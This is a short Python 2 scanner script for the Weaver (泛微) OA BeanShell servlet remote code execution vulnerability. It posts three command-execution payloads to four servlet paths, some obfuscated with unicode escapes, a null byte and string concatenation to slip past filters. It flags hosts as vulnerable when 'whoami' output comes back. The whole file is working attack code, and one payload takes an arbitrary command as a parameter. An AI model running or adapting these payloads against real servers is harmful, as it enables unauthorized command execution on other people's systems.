# coding: utf8
import httplib2


import sys

headers = {
    #'Content-Type': 'text/xml; charset=utf-8',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0',
    'Cache-Control': 'max-age=0',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Upgrade-Insecure-Requests': '1',
    'Content-Length': '578'
}

url_Payloads = ("/bsh.servlet.BshServlet", "/weaver/bsh.servlet.BshServlet", "/weaveroa/bsh.servlet.BshServlet", "/oa/bsh.servlet.BshServlet")
data_Payloads = ("""bsh.script=exec("whoami");&bsh.servlet.output=raw""", """bsh.script=\u0065\u0078\u0065\u0063("whoami");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw""", """bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\\"command\\"))");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami""")


def detect(target):
    for url_Payload in url_Payloads:
        url = target + url_Payload
        for data_Payload in data_Payloads:
            http = httplib2.Http()
            res, content = http.request(url, 'POST', data_Payload, headers=headers)

            if res.status == 200:
                if ";</script>" not in (content):
                    if "Login.jsp" not in (content):
                        if "Error" not in (content):
                            print target + u' 存在泛微OA Bsh 远程代码执行漏洞'

